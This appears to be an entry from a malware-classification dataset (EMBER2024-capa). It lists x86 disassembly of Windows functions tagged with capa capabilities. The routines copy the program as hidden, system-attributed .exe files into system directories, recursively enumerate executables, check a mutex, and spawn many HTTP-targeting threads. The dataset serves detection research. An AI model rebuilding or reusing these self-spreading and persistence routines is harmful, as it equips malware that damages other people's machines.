joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40861d
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp + 0xc]
inc ebx
cmp ebx, 1
lea eax, [ebp - 0x348]
jne 0x408657
push dword [ebp + 0x18]
push dword [ebp + 8]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x408669
push dword [ebp + 8]
push str._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
je 0x40876a
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x4086ee
cmp byte [ebp - 0x218], 0x2e
je 0x408752
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x4283c0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 0x18]
lea eax, [ebp - 0x104]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push eax
call fcn.0040861d
add esp, 0x24
test eax, eax
je 0x408752
cmp ebx, 3
jg 0x408752
xor esi, esi
inc esi
jmp 0x40876c
lea eax, [ebp - 0x218]
push str..exe
push eax
call fcn.00412098
test eax, eax
pop ecx
pop ecx
je 0x408752
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call esi
push 0x4283c8
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.004123ce
test eax, eax
pop ecx
je 0x408752
lea eax, [ebp - 0x104]
push eax
call fcn.004085d7
cmp eax, dword [ebp + 0x10]
pop ecx
jge 0x40877c
lea eax, [ebp - 0x244]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408695
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x14]
call esi
jmp 0x4086e9

Function at 0x40882b
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x41
xor eax, eax
pop ecx
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x108]
push eax
call fcn.0040878d
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.00408549
add esp, 0xc
pop edi
leave
ret
Function at 0x408878
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push esi
push edi
mov esi, 0x4549d0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
cmp eax, edi
mov dword [ebp - 4], eax
jbe 0x4088f9
push ebx
push edi
push 0x80
push 4
push edi
push 2
push 0x40000000
lea eax, [ebp - 0x88]
push 0x26
push eax
call fcn.00412069
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4088f8
push 2
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1000
push edi
push esi
call fcn.004200c0
add esp, 0xc
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40b2f4
Capabilities:
Set file attributes

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
push esi
push edi
push 0x455f08
mov esi, 0x456010
push esi
call ebx
call fcn.0041203a
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, 7
add eax, 6
push eax
push esi
call ebp
add eax, esi
push eax
call fcn.00411f9e
push esi
call fcn.00412677
add esp, 0xc
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4283c8
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
mov edi, 0x456118
push edi
call ebx
call fcn.0041203a
push 0xa
pop ecx
xor edx, edx
div ecx
add edx, 0xc
push edx
push edi
call ebp
add eax, edi
push eax
call fcn.00411f9e
push edi
call fcn.00412677
add esp, 0xc
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4283c8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40b38d
Capabilities:
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
push 0xc
xor eax, eax
pop ecx
xor ebx, ebx
mov byte [ebp - 0x40], bl
lea edi, [ebp - 0x3f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xf
xor eax, eax
pop ecx
mov byte [ebp - 0x80], bl
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0xc], 0x32
mov dword [ebp - 8], 0x63
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x40]
push eax
mov esi, 0x455cb0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov byte [ebp - 4], bl
lea edi, [ebp - 3]
stosw word es:[edi], ax
push 3
stosb byte es:[edi], al
lea eax, [ebp - 4]
push 0x455e00
push eax
call fcn.0041fd80
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0xa
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 8]
call fcn.00427fa2
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b714
Capabilities:
Get hostname

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push edi
push 0xf
xor eax, eax
pop ecx
mov byte [ebp + 0x30], 0
lea edi, [ebp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1f
xor eax, eax
pop ecx
mov byte [ebp - 0x50], 0
lea edi, [ebp - 0x4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp + 0x70], 0x7f
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x50]
push eax
movzx eax, byte [ebp + 0x7c]
push eax
lea eax, [ebp + 0x30]
push eax
call fcn.00411f03
add esp, 0xc
lea eax, [ebp + 0x30]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
pop edi
jne 0x40b786
xor al, al
jmp 0x40b78f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add ebp, 0x74
leave
ret
Function at 0x40b8b9
Capabilities:
Terminate process

Disassembly:
push dword [0x4564e4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 0
push dword [esp + 0xc]
push 0x455cf8
push 0
push 0
call dword [0x455ba0]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40c169
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x4a
pop ecx
xor eax, eax
mov byte [ebp - 0x234], 0
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x41
pop ecx
xor eax, eax
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x428724
lea eax, [ebp - 0x234]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x456228
lea eax, [ebp - 0x234]
push eax
call esi
push 0x428720
lea eax, [ebp - 0x234]
push eax
call esi
mov ebx, 0x455f08
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
push 0x4283c8
lea eax, [ebp - 0x108]
push eax
call esi
call fcn.0041203a
push 3
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x108]
add edx, 5
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x108]
push eax
call fcn.00411f9e
pop ecx
pop ecx
push str..exe
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push eax
call fcn.004123ce
test eax, eax
pop ecx
je 0x40c252
lea eax, [ebp - 0x108]
push eax
call fcn.00412162
cmp eax, 0x30d40
pop ecx
jae 0x40c285
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x108]
push eax
push 0x455cf8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x108]
push eax
call fcn.0040180f
pop ecx
push 1
push ebx
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [0x455ba0]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c301
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, 0x456228
push ebx
call esi
cmp eax, 8
jl 0x40c3bc
push edi
push 0x41
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10c]
push eax
call esi
lea edi, [ebp + eax - 0x10c]
cmp byte [edi - 1], 0x5c
je 0x40c365
mov byte [edi], 0x5c
inc edi
mov byte [edi], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], 0x10
push dword [ebp - 4]
push edi
call fcn.00411f9e
pop ecx
pop ecx
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea eax, [ebp - 0x10c]
push eax
call esi
push 0
lea eax, [ebp - 0x10c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [ebp - 0x10c]
push eax
call esi
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x16
jle 0x40c372
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c3c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp byte [0x455cf0], 0
je 0x40c41c
cmp byte [0x455cf1], 0
jne 0x40c41c
push 0x455e00
call fcn.0040c301
lea eax, [ebp - 0x108]
mov dword [esp], 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40c41c
push 0x4283c8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push eax
call fcn.0040c301
pop ecx
push 0x455f08
call fcn.0040c301
pop ecx
leave
ret
Function at 0x40c631
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
push 0x41
pop ecx
xor eax, eax
push 0x41
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0x150], 0
lea edi, [ebp - 0x14f]
rep stosd dword es:[edi], eax
pop ecx
push 0x41
mov byte [ebp - 0x258], al
lea edi, [ebp - 0x257]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x360], al
push 0xf
lea edi, [ebp - 0x35f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x48], al
pop ecx
lea edi, [ebp - 0x47]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x456228
lea eax, [ebp - 0x150]
push eax
call ebx
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [ebp + eax - 0x150]
mov al, 0x5c
cmp byte [esi], al
je 0x40c6c6
lea ecx, [ebp - 0x150]
cmp esi, ecx
jbe 0x40c6be
dec esi
cmp byte [esi], al
jne 0x40c6af
cmp byte [esi], al
jne 0x40c85f
lea ecx, [esi + 1]
mov dword [ebp - 8], ecx
jmp 0x40c6d7
cmp esi, ecx
jbe 0x40c85f
dec esi
cmp byte [esi], al
lea ecx, [ebp - 0x150]
je 0x40c6ce
cmp esi, ecx
jbe 0x40c85f
mov byte [esi + 1], 0
cmp byte [esi], al
je 0x40c708
lea ecx, [ebp - 0x150]
cmp esi, ecx
jbe 0x40c700
dec esi
cmp byte [esi], al
jne 0x40c6f1
cmp byte [esi], al
jne 0x40c85f
inc esi
push esi
call fcn.00412cc1
movzx eax, byte [esi]
push esi
push 5
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x48]
add edx, 6
push edx
push eax
call fcn.00411f03
add esp, 0x10
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x258]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, 0x4283c8
push edi
lea eax, [ebp - 0x258]
push eax
call esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x258]
push eax
call esi
push dword [ebp - 8]
lea eax, [ebp - 0x258]
push eax
call esi
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x360]
push eax
call ebx
push edi
lea eax, [ebp - 0x360]
push eax
call esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x42855c
lea eax, [ebp - 0x360]
push eax
call esi
push dword [ebp - 8]
lea eax, [ebp - 0x360]
push eax
call esi
lea eax, [ebp - 0x258]
push eax
mov byte [ebp - 1], 0
call fcn.004123ce
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
pop ecx
je 0x40c854
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
xor esi, esi
push dword [ebp - 8]
call fcn.00412f38
test eax, eax
pop ecx
jle 0x40c7f5
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x40c7d7
lea eax, [ebp - 0x360]
push eax
mov esi, 0x456228
push esi
call fcn.00412506
test al, al
pop ecx
pop ecx
je 0x40c811
mov byte [ebp - 1], 1
lea eax, [ebp - 0x258]
push esi
push eax
call fcn.00412506
test al, al
pop ecx
pop ecx
push 1
je 0x40c82f
xor eax, eax
push eax
push dword [ebp + 8]
push esi
jmp 0x40c83c
xor eax, eax
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x258]
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [ebp - 1], 0
je 0x40c854
lea eax, [ebp - 0x360]
push eax
push esi
call ebx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40caec
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
push 0x455c98
call esi
xor edi, edi
cmp dword [ebp + 0x14], 1
jne 0x40cb10
mov edi, dword [ebp + 0x10]
and dword [ebp + 0x14], 0
test edi, edi
je 0x40cb51
jmp 0x40cb1b
inc edi
cmp byte [edi], 0x22
je 0x40cb1a
mov ebx, 0x428720
jmp 0x40cb2a
mov byte [eax], 0
push ebx
push edi
call fcn.00412098
test eax, eax
pop ecx
pop ecx
jne 0x40cb27
push 0x428760
push edi
call fcn.00412098
test eax, eax
pop ecx
pop ecx
mov dword [ebp + 0x14], eax
je 0x40cb51
inc dword [ebp + 0x14]
mov byte [eax], 0
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x456350
push 0x45634c
push 0x456348
push 0x456344
push 0x456340
call fcn.0040805e
add esp, 0x14
test al, al
je 0x40ccef
push 0x104
mov ebx, 0x455e00
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x4283c8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
call fcn.00413392
pop ecx
call fcn.0040b38d
call fcn.0040c53d
xor ebx, ebx
cmp edi, ebx
je 0x40cc0b
cmp byte [edi], 0x2d
jne 0x40cc0b
push 0x15
call fcn.0040b794
test al, al
pop ecx
je 0x40cbe5
inc edi
push edi
push 0x456228
mov byte [0x4564e0], 1
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, 0x40c8d2
jmp 0x40cc39
push 0x16
call fcn.0040b794
test al, al
pop ecx
je 0x40ccef
inc edi
push edi
push 0x456228
mov byte [0x4564e0], 1
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40cc34
push 0x17
call fcn.0040b794
test al, al
pop ecx
je 0x40ccef
cmp edi, ebx
je 0x40cc34
push edi
push 0x456228
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0x14]
call fcn.0040c631
pop ecx
mov edi, 0x40c2f9
call fcn.00409c6a
call fcn.0040c864
jmp 0x40cc4f
call fcn.0041263a
call fcn.00412619
call fcn.0040c576
test al, al
jne 0x40cc45
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [0x455a9c]
push 0x44c6d8
call esi
push 0x44c6bc
call esi
push 0x456580
call esi
push 0x4566ac
call esi
push 0x44c6f8
call esi
push 0x4564ec
call esi
push 0x456564
call esi
push 0x45654c
call esi
push 0x456534
call esi
push 0x45651c
call esi
push 0x456504
call esi
call fcn.0040c3c0
call fcn.0040ba6a
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x40b677
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x40c429
push ebx
push ebx
call esi
call fcn.0040b8e5
test al, al
jne 0x40cced
call fcn.0040b930
call edi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x40d8ed
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
push esi
push edi
je 0x40d90c
push 0x1770
mov byte [0x4564e8], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4bc
mov byte [0x4564e8], 1
call fcn.0040fb39
push 7
mov edi, str.http:__
push edi
push dword [ebp + 8]
mov esi, eax
call fcn.004208f1
add esp, 0x10
test eax, eax
je 0x40d94a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40d954
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edi, [esi + 0x480]
push edi
lea ecx, [esi + 0x300]
push ecx
lea eax, [esi + 0x200]
push eax
push dword [ebp + 8]
call fcn.0040db88
mov al, byte [ebp + 0x1c]
mov byte [esi + 0x495], al
mov eax, dword [ebp + 0x10]
add esp, 0x10
mov byte [esi + 0x494], 1
mov dword [esi + 0x4a4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp + 0xc]
mov dword [esi + 0x4a0], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x7f
lea eax, [esi + 0x400]
jg 0x40d9c2
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40d9d0
push 0x7f
push dword [ebp + 0xc]
push eax
call fcn.00420290
add esp, 0xc
lea eax, [esi + 0x200]
push eax
mov word [esi + 0x484], 2
call fcn.004121f3
mov dword [esi + 0x488], eax
xor eax, eax
mov ax, word [edi]
pop ecx
push eax
call dword [0x455bf0]
cmp dword [ebp + 0x24], 1
mov word [esi + 0x486], ax
mov al, byte [ebp + 0x20]
mov byte [esi + 0x496], al
lea eax, [esi + 0x498]
mov dword [esi + 0x4b8], ebx
mov dword [esi + 0x4b4], ebx
mov dword [esi + 0x4b0], ebx
mov dword [esi + 0x4ac], ebx
mov dword [esi + 0x4a8], ebx
mov byte [eax], bl
mov byte [esi + 0x497], bl
mov byte [esi + 0x499], bl
jne 0x40da4c
mov byte [eax], 1
mov byte [esi + 0x497], 1
jmp 0x40da5f
cmp dword [ebp + 0x24], 2
je 0x40da43
cmp dword [ebp + 0x24], 3
jne 0x40da5f
mov byte [esi + 0x499], 1
mov eax, dword [ebp + 0x28]
dec eax
je 0x40da88
push 2
pop ecx
sub eax, ecx
je 0x40da80
dec eax
je 0x40da78
or dword [esi + 0x49c], 0xffffffff
jmp 0x40da92
mov dword [esi + 0x49c], ecx
jmp 0x40da92
mov dword [esi + 0x49c], ebx
jmp 0x40da92
mov dword [esi + 0x49c], 0xfffffffe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40d6d1
push ebx
push ebx
call edi
mov eax, dword [ebp + 0x14]
cmp eax, 1
jl 0x40dad3
mov dword [ebp + 0x18], eax
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40ce03
push ebx
push ebx
call edi
dec dword [ebp + 0x18]
jne 0x40dab2
jmp 0x40dad0
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x14]
cmp dword [esi + 0x4b4], eax
jb 0x40dac8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f2af
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x108], bl
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], ebx
mov dword [edi], ebx
call fcn.00412162
mov esi, eax
cmp esi, 9
pop ecx
jb 0x40f37f
lea eax, [esi - 8]
push esi
mov dword [edi], eax
call fcn.0040fb39
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x40f378
push ebx
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp + 0xc]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x108]
add edx, 0xf3
push edx
push eax
call fcn.00411f9e
push eax
push esi
push edi
call fcn.00418df4
lea ebx, [esi + edi]
add esi, 0xfffffffc
push esi
push edi
call fcn.0040f293
add esp, 0x1c
cmp dword [ebx - 4], eax
jne 0x40f378
mov eax, dword [ebx - 8]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, edi
jmp 0x40f381
push edi
call fcn.0040fb80
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f604
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x80
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call esi
push ebx
push edi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40f668
mov edi, dword [ebp + 0x10]
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [ebp + 8]
call esi
cmp dword [ebp - 4], edi
jne 0x40f668
mov al, 1
jmp 0x40f66a
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f66f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10c], al
push 0x40
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0041295f
mov esi, dword [ebp + 0x10]
lea ebx, [esi + 8]
push ebx
mov dword [ebp - 8], eax
call fcn.0040fb39
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
call fcn.0041fd80
push 4
lea ecx, [ebp - 8]
lea eax, [edi + esi]
push ecx
push eax
mov dword [ebp + 0x10], eax
call fcn.0041fd80
add esi, 4
push esi
push edi
call fcn.0040f293
mov dword [ebp - 4], eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
call fcn.0041fd80
movzx eax, byte [ebp + 8]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x210]
add edx, 0xf3
push edx
push eax
call fcn.00411f9e
push eax
push ebx
push edi
call fcn.00418d58
add esp, 0x44
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00412069
cmp byte [0x455cf0], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
pop ecx
je 0x40f81a
push 0x455e00
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f604
lea eax, [ebp - 0x10c]
push eax
push 0x26
call fcn.0041290b
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f604
lea eax, [ebp - 0x10c]
push eax
push 0x1c
call fcn.0041290b
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f604
add esp, 0xc
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4283c8
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f604
add esp, 0xc
push 0x455f08
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f604
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.0040f604
push edi
call fcn.0040fb80
add esp, 0x10
pop edi
pop esi
mov al, 1
pop ebx
leave
ret